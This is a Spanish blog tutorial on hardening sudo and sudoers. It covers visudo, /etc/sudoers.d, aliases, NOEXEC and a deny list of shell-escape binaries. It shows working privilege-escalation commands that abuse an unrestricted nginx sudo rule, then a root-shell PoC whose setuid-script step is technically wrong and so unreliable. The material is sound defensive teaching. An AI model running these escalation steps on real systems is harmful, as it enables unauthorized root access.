Hardening de sudo

CiberSeguridad 28 de mar. de 2026

Endurecimiento del sudoers en sistemas GNU/Linux: principios, buenas prácticas y errores críticos a evitar

El comando sudo es una de las herramientas más críticas en cualquier sistema Linux.

Permite que un usuario no privilegiado ejecute acciones como root o como otro usuario, de forma controlada y auditada. Sin embargo, una mala configuración puede convertirlo en la vía más rápida para una escalada de privilegios completa y comprometer toda la infraestructura.

Por ello, es esencial entender cómo funciona, cuáles son sus ventajas, sus riesgos y cómo configurarlo de forma segura y mantenible.


Qué es “sudo” y por qué es esencial

El comando sudo (superuser do) permite delegar permisos concretos a usuarios o grupos para ejecutar comandos específicos como otro usuario.

Sus ventajas principales:

  • Trazabilidad: cada comando queda registrado en los logs del sistema.
  • Delegación granular: se pueden otorgar permisos muy específicos sin dar acceso total.
  • Control temporal: es posible otorgar privilegios solo durante ciertos periodos o circunstancias.
  • Menor exposición del usuario root: evita el uso directo de la cuenta más peligrosa del sistema.

Pero también implica riesgos si se configura mal:

  • Escalada de privilegios total si se otorgan comandos inseguros.
  • Saltos a sub‑shell que otorgan un root shell completo sin intención.
  • Ejecución de comandos impredecibles si se confía en rutas o variables no controladas.
  • Dependencia de la edición manual del fichero /etc/sudoers, con riesgo de errores críticos.

Uso correcto del sistema modular en /etc/sudoers.d/

Modificar directamente /etc/sudoers es una mala práctica salvo para ajustes mínimos.
La forma correcta, mantenible y limpia de administrar reglas es:

  • Crear un fichero por rol o usuario dentro de /etc/sudoers.d/.
  • Nombrarlos de forma clara, por ejemplo:
    • /etc/sudoers.d/deploy
    • /etc/sudoers.d/monitorizacion
    • /etc/sudoers.d/jenkins-ci
  • Mantener un control de configuración más sencillo y sin mezclar reglas.

Esto evita conflictos, facilita auditorías y reduce errores que puedan dejar el sistema inutilizable.


El comando visudo: qué es y por qué es obligatorio

El archivo sudoers es extremadamente sensible. Un error de sintaxis puede romper completamente sudo, dejando a los administradores sin capacidad de elevación de privilegios.

visudo sirve para:

  • Validar la sintaxis antes de guardar.
  • Evitar que dos administradores editen el archivo simultáneamente.
  • Permitir configurar un editor seguro, como veremos más adelante.

Siempre debe usarse para editar cualquier archivo sudoers o un archivo dentro de /etc/sudoers.d/:

visudo -f /etc/sudoers.d/nombre

Uso de ALIAS: simplificar y ordenar la configuración

Los ALIAS permiten definir grupos reutilizables de:

  • UsuariosUser_Alias
  • HostsHost_Alias
  • ComandosCmnd_Alias
  • RunasRunas_Alias

Ejemplo básico:

Cmnd_Alias DEPLOY_CMDS = /usr/bin/systemctl restart tomcat, /usr/bin/git pull
User_Alias DEPLOYERS = deploy, jenkins
DEPLOYERS ALL=(root) DEPLOY_CMDS

Beneficios:

  • Legibilidad.
  • Menor duplicación de reglas.
  • Modificación centralizada.

Listas blancas y negras de comandos

Listas blancas (whitelisting)

Es la mejor práctica: permitir solo comandos exactos, con rutas completas.
Ejemplo:

usuario ALL=(root) /usr/bin/systemctl restart nginx

Listas negras (blacklisting) — NO recomendadas

Permitir todo menos ciertas cosas es extremadamente peligroso.
Los usuarios siempre terminan encontrando una forma de escaparse.
Solo deben usarse en escenarios muy específicos.


Denegar ejecución de “exec” para evitar sub‑shell

Muchos comandos permiten lanzar un shell interactivo o ejecutar instrucciones arbitrarias.
Ejemplos típicos:

  • vim (:!bash)
  • less (!sh)
  • awk (con system())
  • find (-exec /bin/sh)
  • tcpdump (con -z)
  • tar (--to-command)

Incluso comandos aparentemente inocuos pueden proporcionar RCE (remote code execution).

La forma correcta de evitarlo es:

  1. No permitir jamás comandos que puedan invocar exec() o lanzar un shell.
  2. Utilizar la opción NOEXEC:
usuario ALL=(root) NOEXEC: /usr/bin/command

sudo usa la biblioteca libsudo_noexec.so para bloquear cualquier intento de ejecución de sub‑comandos.


Qué editor usar: evitar editores que permitan ejecutar comandos

Los editores comunes como vim, emacs o incluso nano permiten de una forma u otra ejecutar comandos del sistema si no se configuran medidas adicionales.

Editor recomendado para visudo:

  • vi -Z (modo restringido)
  • nano -R
  • Un editor minimalista como ed
  • O configurar un editor restringido personalizado.

Configurar el editor seguro:

export EDITOR="/usr/bin/vi -Z"
visudo

Lista de comandos que nunca deben permitirse con sudo

Esta lista es orientativa pero representa comandos que permiten escape a shell, ejecución arbitraria o manipulación del sistema con privilegios root.

Editores y paginadores

  • /usr/bin/vim
  • /usr/bin/vi
  • /usr/bin/nano (riesgo de invocar subcomandos)
  • /usr/bin/less
  • /usr/bin/more

Intérpretes y lenguajes

  • /usr/bin/python*
  • /usr/bin/perl
  • /usr/bin/ruby
  • /usr/bin/bash
  • /usr/bin/sh
  • /usr/bin/zsh
  • /usr/bin/ksh
  • /usr/bin/tclsh

Herramientas con opciones “-exec” o equivalentes

  • /usr/bin/find
  • /usr/bin/xargs
  • /usr/bin/awk
  • /usr/bin/sed (con e inseguro)
  • /usr/bin/tar
  • /usr/bin/rsync
  • /usr/bin/curl (si permite descargar scripts y ejecutarlos)
  • /usr/bin/wget

Compresores y archivadores

  • /usr/bin/zip
  • /usr/bin/unzip
  • /usr/bin/ar
  • /usr/bin/cpio

Programas con shells embebidos

  • /usr/bin/tcpdump
  • /usr/bin/openssl (modo CLI interactivo)
  • /usr/bin/mysql
  • /usr/bin/psql

Cualquier comando que permita modificar ficheros arbitrarios

  • /usr/bin/cat
  • /usr/bin/tee
  • /usr/bin/dd

Ejemplo de entrada "inocua" y problema de seguridad

Os dejo un ejemplo realista de un error crítico en sudoers al permitir por ejemplo el uso del comando nginx

Cuando un administrador escribe algo como esto en /etc/sudoers:

usuario ALL=(root) NOPASSWD: /usr/sbin/nginx

A primera vista puede parecer razonable:

  • nginx es un proceso que normalmente gestiona root.
  • Solo queremos permitir reinicios, recargas o pruebas de configuración.
  • No hay asteriscos ni comodines.
  • El administrador piensa que nginx se refiere al binario principal.
  • No parece que pueda ejecutar nada más

Pero esta entrada permite escalada de privilegios y manipulación arbitraria del sistema.

Por qué permitir solo /usr/sbin/nginx sigue siendo extremadamente inseguro

El problema está en que sudo no filtra argumentos.

Si permites:

sudo /usr/sbin/nginx

el usuario también puede ejecutar:

  • sudo /usr/sbin/nginx -c ...
  • sudo /usr/sbin/nginx -g ...
  • sudo /usr/sbin/nginx -t
  • cualquier combinación de parámetros válidos

Y nginx se ejecuta como root, por lo que cualquier opción que modifique rutas o configuraciones termina permitiendo:

  • escritura de ficheros arbitrarios,
  • creación de archivos como root,
  • carga de módulos .so y ejecución de código como root,
  • corrupción de ficheros críticos del sistema,
  • ataques indirectos que acaban en root shell (SUID, claves SSH, etc.).

Ejemplos concretos de explotación con /usr/sbin/nginx permitido

1. Usar -c para cargar una configuración manipulada

El atacante crea:

/home/usuario/miconfig.conf

con contenido:

error_log /etc/sudoers;
pid /tmp/owned_by_root;

Entonces si se ejecutar:

sudo /usr/sbin/nginx -c /home/usuario/miconfig.conf

Resultado:

  • nginx sobrescribe /etc/sudoers (incluso lo puede dejar vacío o corrupto).
  • crea /tmp/owned_by_root como root.

Esto es escalada de privilegios total.


Usar -g para forzar escritura de archivos arbitrarios

Shell

sudo /usr/sbin/nginx -g "error_log /root/.ssh/authorized_keys;"

Esto provocará que nginx:

  • abra /root/.ssh/authorized_keys como root
  • lo escriba, trunque o destruya

El atacante puede luego generar claves SSH para entrar como root sin contraseña.


Cargar módulos arbitrarios (ejecución de código como root)

El usuario crea un .so:

/home/usuario/malware.so

Y ejecuta:

sudo /usr/sbin/nginx -g "load_module /home/usuario/malware.so;"

Ese módulo es código arbitrario ejecutado literalmente con privilegios root.

Es un compromiso de root directo.


Explotación, ejecución y salida a Shell como root

Un usuario con la línea de llamada a nginx permitida de la forma anterior podría realizar lo siguiente:

# PoC: creación arbitraria de archivos como root

error_log /var/log/poc_nginx_escribe.log info;

pid /tmp/nginx-poc.pid;
events {}

http {
  server {
    listen 127.0.0.1:8088;
    location / {
      return 200 "OK\n";
    }
  }
}

Luego tan solo tendría que ejecutar lo siguiente:

sudo /usr/sbin/nginx -c "$HOME/nginx-poc.conf"
curl -s http://127.0.0.1:8088/ >/dev/null

Si se trata de una ruta con permisos heredados podriamos ver que el fichero puede modificarse

ls -l /var/log/poc_nginx_escribe.log
-rwsrwxrwx 1 root root ...

Simplemente el usuario editaría el fichero creado y podría incluir en el:

#!/bin/bash
echo "[+] PoC de prueba de Shell de root obtenida"
exec /bin/bash

Tan solo tendría que ejecutar el fichero: /var/log/poc_nginx_escribe.log que realmente no es un LOG, sinó un script.

Una vez obtenida la Shell, comprobamos si hemos realizado o no el escalado:

# id
uid=0(root) gid=0(root) groups=0(root)

Cómo debería escribirse una entrada segura de sudoers

Deberiamos tener definidos los comandos permitidos mediante un "Alias" para tenerlos perfectamente identificados, y luego otorgárselos al usuario que lo necesite:

Cmnd_Alias NGINX_SAFE = /usr/sbin/nginx -t, \
/usr/sbin/nginx -s reload, \
/usr/sbin/nginx -s reopen

usuario ALL=(root) NOPASSWD: NGINX_SAFE

En el fichero del /etc/sudoers.d/ del usuario incluiremos:

usuario ALL=(root) NOEXEC: NGINX_SAFE

¿Qué estamos logrando?

  • No hay comodines.
  • Solo se permiten comandos controlados.
  • Imposible cargar módulos arbitrarios.
  • Imposible pasar -c o -g.
  • La regla es auditada y comprensible.

Reglas recomendadas

  1. NOEXEC para evitar sub‑shells desde librerías:
usuario ALL=(root) NOEXEC: COMANDOS_SAFE
  1. Bloquear variables de entorno peligrosas:
Defaults:usuario env_reset, !env_keep+=LD_PRELOAD, !env_keep+=LD_LIBRARY_PATH
  1. Requerir rutas absolutas y sin comodines siempre.

Conclusión

Endurecer el fichero sudoers es una tarea crítica para cualquier entorno profesional.

El uso adecuado de visudo, la separación de configuraciones en /etc/sudoers.d/, el uso correcto de ALIAS, las listas blancas de comandos y la prohibición estricta de herramientas que permitan sub‑shell son elementos esenciales para:

  • Minimizar la superficie de ataque.
  • Reducir errores humanos.
  • Evitar escaladas de privilegios accidentales o maliciosas.
  • Asegurar un control claro y auditable de los permisos.

Bien configurado, sudo es una herramienta poderosa y segura. Mal configurado, puede convertirse en el talón de Aquiles de todo el sistema.

Etiquetas

Luis GuLo

🐧 SysAdmin GNU/Linux - 🐳 Docker - 🖥️ Bash Scripting - 🐪 Perl - 🐬 MySQL - 👥 Formador de TI - 👥 Formador de SysAdmin's - 💢 Ansible - ☁️ Cloud Computing - ❤️ Debian GNU/Linux